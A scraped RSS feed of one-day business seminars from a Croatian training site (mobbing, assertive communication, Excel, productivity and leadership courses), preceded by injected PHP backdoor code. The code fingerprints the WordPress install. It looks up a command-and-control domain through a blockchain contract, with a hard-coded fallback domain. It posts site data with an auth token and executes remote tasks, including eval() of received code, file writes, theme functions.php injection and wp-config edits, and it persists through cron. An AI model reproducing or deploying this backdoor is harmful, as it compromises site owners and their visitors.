// lb_lf if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/home/poslovnouciliste/public_html/wp-content/plugins/hseo/hseo.php', 'ctrl'=>'// lb_lf', 'vis'=>'// ng_4w', 'vis_func'=>'wp_vi27hw', 'vis_paths'=>array('/home/poslovnouciliste/public_html/wp-content/plugins/hseo/hseo.php'), 'opt'=>'_wp_fv8ah2n4', ); $keys=array(); $keys['id']='yl3'; $keys['ver']='6f'; $keys['caps']='dnk'; $keys['tasks']='gcv'; $keys['interval']='60w'; $keys['ack_id']='qyt'; $keys['ok']='of'; $keys['detail']='2n7'; $keys['inv']='ptv'; $keys['result']='n4y'; $hdr='X-9H5-Auth';$tok='Lg6foG5HUo_VZmLYFOAWjnSMstsOwMqIq8ZkpOewAf0';$id='4cf5188a0c55d4b5';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Jednodnevni seminari - Poslovno Učilište https://poslovnouciliste.hr Mon, 24 Nov 2025 08:16:15 +0000 hr hourly 1 https://wordpress.org/?v=6.8.3 https://poslovnouciliste.hr/wp-content/uploads/2023/03/cropped-favicon_poslovnouciliste-32x32.png Jednodnevni seminari - Poslovno Učilište https://poslovnouciliste.hr 32 32 Mobbing – prava i obveze poslodavca i radnika https://poslovnouciliste.hr/seminari/jednodnevni-seminari/mobing-prava-i-obveze-poslodavca-i-radnika/?utm_source=rss&utm_medium=rss&utm_campaign=mobing-prava-i-obveze-poslodavca-i-radnika Sat, 21 Oct 2023 08:53:26 +0000 https://poslovnouciliste.hr/?post_type=product&p=32791 Mobbing – prava i obveze poslodavca i radnika Mnogi pogrešno misle da se mobing odnosi jedino na fizičko i/ili seksualno

The post Mobbing – prava i obveze poslodavca i radnika first appeared on Poslovno Učilište.

]]> Mobbing – prava i obveze poslodavca i radnika

Mnogi pogrešno misle da se mobing odnosi jedino na fizičko i/ili seksualno zlostavljanje, no taj pojam obuhvaća mnogo širi raspon ponašanja u radnom okruženju koja mogu dolaziti od nadređenih, podređenih i kolega.

Tako npr:

  • širenje zlonamjernih glasina i ogovaranje
  • uvredljive šale
  • često mijenjanje uputa za rad ili namjerno davanje krivih informacija
  • redovito kritiziranje
  • davanje rokova i zadataka koje je nemoguće ispuniti
  • ne davanje posla kako bi se radnik osjećao nevažno

također su tipovi mobingiranja.

Koji su rezultati mobinga? 

Strašni! Mobingirani radnik doživljava poremećaje u fizičkom i mentalnom zdravlju, postaje manje ili potpuno neproduktivan u radnoj, ali i privatnoj sferi. No manje je poznato da mobing izuzetno loše utječe i na cjelokupno radno okruženje i organizacijsku klimu.

Pridonosi znatno većem broju bolovanja, ali i porastu:

  • stresa na radnom mjestu
  • rizika od nastanka ozljeda na radu te incidenata
  • fluktuacije (odlazaka) zaposlenika
  • troškova radi edukacije novih radnika

Također značajno smanjuje:

  • produktivnost i motivaciju za rad
  • ugled poduzeća kako kod radnika tako i kod klijenata.

 

Seminar traje do 12h.

The post Mobbing – prava i obveze poslodavca i radnika first appeared on Poslovno Učilište.

]]> Rad s teškim suradnicima https://poslovnouciliste.hr/seminari/jednodnevni-seminari/rad-s-teskim-suradnicima/?utm_source=rss&utm_medium=rss&utm_campaign=rad-s-teskim-suradnicima Mon, 27 Mar 2023 15:58:28 +0000 https://poslovnouciliste.hr/?post_type=product&p=31992 Istraživanja pokazuju kako su loši međuljudski odnosi jedan od većih izvora stresa na poslu, bilo da je riječ o odnosima

The post Rad s teškim suradnicima first appeared on Poslovno Učilište.

]]> Istraživanja pokazuju kako su loši međuljudski odnosi jedan od većih izvora stresa na poslu, bilo da je riječ o odnosima s kolegama, podređenima ili nadređenima.

Posebnu teškoću predstavlja rad s teškim suradnicima čija ponašanja i otpori u radu često negativno djeluju na radnu klimu i produktivnost. Teški suradnici poseban su izazov i u ulozi kolega, članova tima i voditelja.

Pod pojmom teških suradnika najčešće se podrazumijevaju; agresivni, pasivni, inertni, rigidni suradnici te suradnici koji su u otporu.

Suradnja s osobama koje imaju ovakva i slična obilježja zahtijeva poseban pristup u vođenju i komunikaciji.

Ne možemo mijenjati druge, već samo sebe te je u komunikaciji i radu s teškim suradnicima važno znati osvijestiti vlastite granice i savladati djelotvorne strategije nošenja s takvom vrstom suradnika.

Po završetku seminara sudionici će moći/ znati:

  • razumjeti utjecaj neadekvatnih međuljudskih odnosa na radnu klimu i produktivnost
  • prepoznati i opisati obilježja teških suradnika
  • osvijestiti vlastita funkcionalna i nefunkcionalna ponašanja u radu s teškim suradnicima
  • primijeniti osnovne tehnike u radu s teškim suradnicima

Trajanje seminara do 13:00h

The post Rad s teškim suradnicima first appeared on Poslovno Učilište.

]]> Asertivna komunikacija https://poslovnouciliste.hr/seminari/jednodnevni-seminari/asertivna-komunikacija/?utm_source=rss&utm_medium=rss&utm_campaign=asertivna-komunikacija Mon, 27 Mar 2023 15:36:54 +0000 https://poslovnouciliste.hr/?post_type=product&p=31982 Asertivna komunikacija vs. svaka druga komunikacija Komunikacija se najčešće opisuje kao razmjena informacija, misli i osjećaja između dvije i više

The post Asertivna komunikacija first appeared on Poslovno Učilište.

]]> Asertivna komunikacija vs. svaka druga komunikacija

Komunikacija se najčešće opisuje kao razmjena informacija, misli i osjećaja između dvije i više osoba kroz različite komunikacijske kanale (putem govora, pismenim, vizualnim ili neverbalnim putem). Ona je interaktivan proces kojim se vrši utjecaj na druge, a posredovan je kroz različite psihološke mehanizme kao što su stavovi, emocije i osobine pojedinca.

Osnovni zakon komunikacije kaže kako je nemoguće ne komunicirati, a jednako tako poznato je i kako kvaliteta odnosa, kako u privatnim, tako i u radnim okruženjima ovisi o kvaliteti komunikacije. Komunikacija je alat kojim uspostavljamo, odražavamo, mijenjamo i unapređujemo odnose u raznim okruženjima života.

No, nije svaka komunikacija, odnosno stil komunikacije dobar. Dobrom komunikacijom smatra se ona kojom se ostvaruju ciljevi osoba koje sudjeluju u komunikacijskom procesu.

Ipak, vještine vođenja tzv. dobre komunikacija usvajaju se i unapređuju učenjem i vježbanjem. Pojedinci se razlikuju u odnosu na svoje komunikacijske vještine i dominantni komunikacijski stil.

U načelu razlikujemo pasivni, agresivni i asertivni komunikacijski stil, pri čemu se asertivni najčešće povezuje s pozitivnim ishodima u odnosima s drugim ljudima, posebno u radnim okruženjima.

Asertivna komunikacija odlikuje se otvorenim i neposrednim izražavanjem misli i osjećaja uz uvažavanje prava i granica drugih osoba uključenih u komunikacijski proces. Asertivnost se naziva i uljudnom energičnošću te pristojnom odlučnošću. Komunikacijske vještine koje su najbliže povezane s asertivnim načinom komuniciranja su aktivno slušanje te ja-poruke.

Po završetku seminara sudionici će moći/znati:

  • prepoznati načela i elemente komunikacije u poslovnom okruženju
  • prepoznati vezu između različitih komunikacijskih stilova, kvalitete odnosa i rezultata u poslovnom okruženju
  • razumjeti i objasniti važnost asertivnog komuniciranja u poslovnom okruženju
  • primijeniti aktivno slušanje i ja poruke

Trajanje seminara do 13:00h

The post Asertivna komunikacija first appeared on Poslovno Učilište.

]]> Intenzivni tečaj Excela https://poslovnouciliste.hr/seminari/jednodnevni-seminari/excel-za-poslovno-koristenje-dvodnevni-seminar/?utm_source=rss&utm_medium=rss&utm_campaign=excel-za-poslovno-koristenje-dvodnevni-seminar Tue, 28 Mar 2023 11:26:31 +0000 https://poslovnouciliste.hr/?post_type=product&p=32276 Intenzivni tečaj Excela Bez obzira u kojoj branši i na kojoj poziciji radite, prije ili kasnije će vam zatrebati vještine

The post Intenzivni tečaj Excela first appeared on Poslovno Učilište.

]]> Intenzivni tečaj Excela

Bez obzira u kojoj branši i na kojoj poziciji radite, prije ili kasnije će vam zatrebati vještine i znanje korištenja Excel-a u većoj ili manjoj mjeri.

Nekima će biti dovoljno da znaju pronaći, isčitati i protumačiti podatke iz već postojećih tablica, prekopirati ili isprinati te primjeniti ih u drugim programima, prezentacijama, dokumentima, e-mailovima…

Drugi će morati ponešto i sami napraviti u postojećoj „excelici“, tipa izračunati potrebne podatke pomoću određenih formula, izraditi grafikon ili više njih i sl.

Ima, naravno, i onih kojima je Excel glavni radni alat i 60 ili više posto svog radnog vremena i zadataka izvršavaju upravo uz njegovu pomoć.

Na ovom intenzivnom tečaju;

  • bit će vam osigurani rad, vježbe i učenje u maloj i interaktivnoj grupi gdje ćete u svakom trenutku moći postaviti pitanje i zatražiti pomoć i asistenciju predavačice
  • saznat ćete kako samostalno raditi u Excelu točno one operacije koje vam trebaju bez nepotrebnog učenja funkcija i radnji koje vam vjerojatno nikada neće zatrebati
  • naučit ćete koristiti alate koji vam jednostavno i u malo vremena mogu pojasniti kako odraditi u Excelu ono što ne znate, bez da ovisite o pomoći i dobroj volji kolega iz ureda

Trajanje seminara do 16:00h

The post Intenzivni tečaj Excela first appeared on Poslovno Učilište.

]]> Povećanje produktivnosti s Google alatima https://poslovnouciliste.hr/seminari/jednodnevni-seminari/povecanje-produktivnosti-s-google-alatima/?utm_source=rss&utm_medium=rss&utm_campaign=povecanje-produktivnosti-s-google-alatima Thu, 18 Apr 2024 14:05:27 +0000 https://poslovnouciliste.hr/?post_type=product&p=32940 Povećanje produktivnosti s Google alatima Kako povećati produktivnost uz pomoć Google alata? Imate li osjećaj da vam je sve teže

The post Povećanje produktivnosti s Google alatima first appeared on Poslovno Učilište.

]]> Povećanje produktivnosti s Google alatima

Kako povećati produktivnost uz pomoć Google alata?

Imate li osjećaj da vam je sve teže organizirati zadatke i informacije zbog njihove brojnosti i ubrzane komunikacije? Imamo rješenje za vas!

Digitalne tehnologije u potpunosti su promijenile način na koji komuniciramo. Posljedično, od nas se očekuje da izvršimo više zadataka u jedinici vremena, odnosno da budemo produktivniji.
Drugim riječima, od nas se traži da budemo vještiji u organizaciji vremena i zadataka, što većinu nas nitko nije učio.

Budimo iskreni, u tome smo uglavnom prepušteni sami sebi. Jeste li spremni za inovaciju? Kaže se da je inovacija novi način na koji radimo stvari, a koji rezultira pozitivnom promjenom. Na ovoj edukaciji naučit ćete upravo to, i to samo u jedan dan.

Za povećanje produktivnosti potrebne su dvije stvari, naučiti određene koncepte produktivnosti te značajke digitalnih alata koji su nam na raspolaganju.

Promijenite način na koji radite stvari i doživite pozitivnu promjenu samo za jedan dan.

Koliko traje edukacija:4 h

Što ćete naučiti na edukaciji?

Osnovne značajke Gmaila:

1. Oznake,
2. pretraživanje,
3. automatizacija/filtar,
4. potpis,
5. predlošci,
6. funkcija – Odgodi (Snooze),
7. funkcija – Zakazivanje slanja (Scheduled send)
8. Multiple Inboxe
9. organizacija s pomoću zvjezdica,
10. odobravanje pristupa svom računu (delegiranje),
11. integracija s aplikacijom Contacts,
12. napredno pretraživanje na klik

Značajke aplikacije Tasks:

1. Kreiranje listi i zadataka,
2. povezivanje zadataka s mailovima,
3. integracija s Docs,
4. pojam usidrenog zadatka i njegovo povezivanje s Docs dokumentom,
5. lista s linkovima za brzo kreiranje Docs dokumenata,
6. integracija Tasks – Calendar

Koncepti:

1. Inbox Zero,
2. Action-based inbox,
3. važnost strukture,
4. predmet,
5. Zadatak,
6. cilj i projekt,
7. Hemingwayev most,
8. princip organizacije zadataka temeljen na tekućem tjednu
9. Osnove projektnog menadžmenta
10. CRM sustav

The post Povećanje produktivnosti s Google alatima first appeared on Poslovno Učilište.

]]> Od kolege do voditelja https://poslovnouciliste.hr/seminari/jednodnevni-seminari/od-kolege-do-voditelja/?utm_source=rss&utm_medium=rss&utm_campaign=od-kolege-do-voditelja Sun, 03 Sep 2023 10:28:36 +0000 https://poslovnouciliste.hr/?post_type=product&p=32751 Transformacija uspješnog izvršitelja u voditelja je veliki izazov koji sve mijenja. Iako voditeljska uloga može biti očekivano priznanje i izazovna

The post Od kolege do voditelja first appeared on Poslovno Učilište.

]]> Transformacija uspješnog izvršitelja u voditelja je veliki izazov koji sve mijenja.

Iako voditeljska uloga može biti očekivano priznanje i izazovna karijerna prilika, ona je i zamka i prepreka ako se zanemari priprema i razvoj novog voditelja.

Prema raznim relevantnim istraživanjima, voditelji najčešće bivaju „bačeni u vatru“, 90% novih vođa osjeća se nespremno za ulogu, a većini je u prosjeku bilo potrebno do 4 godine da se osjećaju sigurno i kompetentno u svojoj ulozi.

Voditelji koji su u procesu tranzicije prepušteni sami sebi i uče na teži način, bez edukacije, mentorstva i podrške, doživljavaju veći stres, odugovlače s preuzimanjem odgovornosti, manje su angažirani i zadovoljni i oni osobno i organizacija.

Što se mora učiniti?

Preuzimanje voditeljske pozicije zahtijeva nekoliko važnih osobnih uvida i promjena kojima se bavi ovaj seminar. Pohađanjem ove edukacije saznat ćete:

  • razlike između izvršiteljske i voditeljske uloge
  • kako osnažiti sliku sebe kao voditelja
  • koje su ključne voditeljske kompetencije
  • koji mind-set je potreban voditelju u tranziciji
  • koje prve korake napraviti u odnosu na tim
Dobit ćete sljedeće ogledne gotove obrasce:
  • primjer upitnika voditeljskog stila
  • skalu procjene voditeljskih kompetencija

The post Od kolege do voditelja first appeared on Poslovno Učilište.

]]> Voditelj voznog parka https://poslovnouciliste.hr/seminari/jednodnevni-seminari/upravljanje-voznim-parkom-fleet-manager/?utm_source=rss&utm_medium=rss&utm_campaign=upravljanje-voznim-parkom-fleet-manager Mon, 27 Mar 2023 16:14:03 +0000 https://poslovnouciliste.hr/?post_type=product&p=31997 Voditelj voznog parka upravlja izuzetno skupom, ako ne i najskupljom imovinom svoje kompanije, što upravljanje voznim parkom čini izuzetno izazovnim

The post Voditelj voznog parka first appeared on Poslovno Učilište.

]]> Voditelj voznog parka upravlja izuzetno skupom, ako ne i najskupljom imovinom svoje kompanije, što upravljanje voznim parkom čini izuzetno izazovnim poslom.

Biti voditelj voznog parka podrazumijeva izuzetno širok raspon odgovornosti, poput; nabave, registracije, osiguranja, redovitog servisa, održavanja vozila i dodatne opreme te usklađenost sa svim propisima vezanima uz ovo područje rada…

Ipak postoje dvije još i važnije odgovornosti managera i djelatnika ovih odjela.

Prva je sigurnost i kontinuirana obuka vozača i korisnika vozila, a druga je održivi razvoj, odnosno utjecaj vozila kojima se upravlja na okoliš.

Radi se o području koje se, barem u Hrvatskoj, sve do prije nekoliko godina obavljalo usput, no dolaskom novih naprednijih vozila i ekoloških propisa, djelatnici ovog sektora sada moraju neprekidno pratiti i usavršavati svoja znanja novih zakonskih akata i trendova koji se mijenjaju iz dana u dan kako jedan od najskupljih resursa njihove kompanije ne bi postao teret iste.

Na ovoj edukaciji saznat ćete sve o:

  • upravljanju vozilima i dodatnoj opremi za iste: od nabave, održavanja, osiguranja, registracije…
  • obuci i sigurnosti vozača i drugih korisnika vozila
  • održivom razvoju i ekološkim propisima
  • najnovijim trendovima na ovom području
  • softveru koji vam omogućava ubrzanje i olakšavanje svakodnevne administrative i poslova, kako bi vam ostalo više vremena za kapitalne projekte

Više o ovoj temi saznajte na:

https://mpu.gov.hr/UserDocsImages//MURH-%20arhiva/Istaknute%20teme//Smjernice%20za%20upravljanje%20voznim%20parkom.pdf

 

Trajanje seminara do 13:00h

The post Voditelj voznog parka first appeared on Poslovno Učilište.

]]> Selekcija, intervjuiranje i procjena kandidata https://poslovnouciliste.hr/seminari/jednodnevni-seminari/selekcija-intervjuiranje-i-procjena-kandidata/?utm_source=rss&utm_medium=rss&utm_campaign=selekcija-intervjuiranje-i-procjena-kandidata Wed, 20 Dec 2023 19:51:42 +0000 https://poslovnouciliste.hr/?post_type=product&p=32833 Selekcija, intervjuiranje i procjena kandidata Kvalitetan izbora novih zaposlenika je naročito važan u današnjim uvjetima deficita radnika na tržištu rada.

The post Selekcija, intervjuiranje i procjena kandidata first appeared on Poslovno Učilište.

]]>
Selekcija, intervjuiranje i procjena kandidata
Kvalitetan izbora novih zaposlenika je naročito važan u današnjim uvjetima deficita radnika na tržištu rada.
Iako svaki rukovoditelj i kolega iskustveno zna razlikovati izvrsnog od lošeg ili beskorisnog zaposlenika, danas postoje stručne metode kojim možete lako pratiti i mjeriti vrijednost zaposlenika.

Izmjerene razlike između inputa (dobar/loš zaposlenik) i outputa (dobar/loš učinak) su u rasponu od čak 40-70 posto.

Što možemo naučiti na greškama u izbora zaposlenika?

Katkada izbor pogrešne osobe ima trenutačne, vidljive, katastrofične rezultate, a ponekad je rezultat manje upadljiv, ali još uvijek mjerljiv. Tu su ozljede na radnom mjestu, sramoćenje i parničenje organizacije, oštećenja ili krađa opreme, svađe među kolegama, gubitak klijenata, lažna bolovanja, apsentizam, krađa informacija, poslovnog know-how i sl. Konačno, tihi unutarnji neprijatelj u svakoj organizaciji su zaposlenici niske produktivnosti, osobno i radno problematični, koji štete radnim odnosima i etici.

Kako birati pametno i stručno?

Danas su nam na raspolaganju metode i tehnike kojima svaki rukovoditelj može ovladati, iako nema profesionalni tim stručnjaka za ljudske resurse.
Moderan pristup selekciji zaposlenika može se povezati kako s organizacijskom kulturom i radnim vrijednostima tako i sa zahtjevima radnog mjesta danas i sutra.

Ne manje važno je da postupak same selekcije bude pozitivno iskustvo i za nas i za kandidate, da poštuje kako zakonske, tako i profesionalne norme i standarde kvalitete.

U praksi većine zapadnih zemalja već nekoliko deseteljeća uobičajena je selekcijska trijada koju čine: aplikacija (prijava kandidata), pisane reference (preporuke) te intervju (razgovor za posao).
Nažalost, u domaćoj selekcijskoj praksi često to nije tako, već i dalje uvelike ostaje  problematika davanja prednosti zapošljavanju putem obiteljskih i prijateljskih veza.

The post Selekcija, intervjuiranje i procjena kandidata first appeared on Poslovno Učilište.

]]> Excel početni stupanj https://poslovnouciliste.hr/seminari/jednodnevni-seminari/excel-za-poslovno-koristenje-1-stupanj-jednodnevni-seminar/?utm_source=rss&utm_medium=rss&utm_campaign=excel-za-poslovno-koristenje-1-stupanj-jednodnevni-seminar Mon, 27 Mar 2023 15:54:07 +0000 https://poslovnouciliste.hr/?post_type=product&p=31990 Ako vam je Excel tek usputni alat za rad koji vam zatreba povremeno ili rijetko kako bi u postojećim tablicama

The post Excel početni stupanj first appeared on Poslovno Učilište.

]]> Ako vam je Excel tek usputni alat za rad koji vam zatreba povremeno ili rijetko kako bi u postojećim tablicama pronašli i preuzeli potrebne podatke te ih upotrijebili za svoje primarne radne zadatke, projekte, prezentacije…onda je ovo edukacija upravo za vas.

U samo jednom prijepodnevu naučite i usavršite sve o:

  • radu s podacima
  • radu s tablicama
  • formulama
  • uvjetnom formatiranju
  • grafičkom prikazu podataka

Na ovoj intenzivnoj jednodnevnoj edukaciji;

  • bit će vam osigurani rad, vježbe i učenje u maloj i interaktivnoj grupi gdje ćete u svakom trenutku moći postaviti pitanje i zatražiti pomoć i asistenciju dvaju predavača
  • saznat ćete kako samostalno raditi u Excelu točno one operacije koje vam trebaju bez nepotrebnog učenja funkcija i radnji koje nikada nećete trebati
  • naučit ćete koristiti alate koji vam jednostavno i brzo mogu pojasniti kako odraditi u Excelu ono što ne znate, bez da ovisite o pomoći i dobroj volji kolega iz ureda

Za sve polaznike, koji to žele, osigurano je i 60 min individualne online pripreme za seminar – početna razina.

O ovoj temi pročitajte više na:

https://poslovnouciliste.hr/microsoft-excel-trebamo-li-ga-se-bojati/

https://www.simplilearn.com/tutorials/excel-tutorial/excel-shortcuts

Trajanje seminara do 13:00h

The post Excel početni stupanj first appeared on Poslovno Učilište.

]]> Excel napredni stupanj https://poslovnouciliste.hr/seminari/jednodnevni-seminari/excel-za-poslovno-koristenje-2-stupanj-jednodnevni-seminar/?utm_source=rss&utm_medium=rss&utm_campaign=excel-za-poslovno-koristenje-2-stupanj-jednodnevni-seminar Mon, 27 Mar 2023 15:56:07 +0000 https://poslovnouciliste.hr/?post_type=product&p=31991 Svi kojima je Excel glavni radni alat i 60 ili više posto svog radnog vremena i zadataka izvršavaju upravo uz

The post Excel napredni stupanj first appeared on Poslovno Učilište.

]]> Svi kojima je Excel glavni radni alat i 60 ili više posto svog radnog vremena i zadataka izvršavaju upravo uz njegovu pomoć, na ovom seminaru usavršit će svoje dosadašnje vještine, ubrzati i olakšati svakodnevne radne procese te saznati pokoji novi savjet i trik.

U samo jednom prijepodnevu savladajte sva najčešća korištena znanja i vještine za naprednije korisnike Excela poput:

  • funkcije za složenije izvještaje
  • pivot tablica i naprednih analiza podataka
  • grafičkih analiza podataka
  • automatizacije i makro naredbi

Na ovom intenzivnom seminaru;

  • bit će vam osigurani rad, vježbe i učenje u izrazito maloj i interaktivnoj grupi gdje ćete u svakom trenutku moći postaviti pitanje i zatražiti pomoć i asistenciju dva predavača
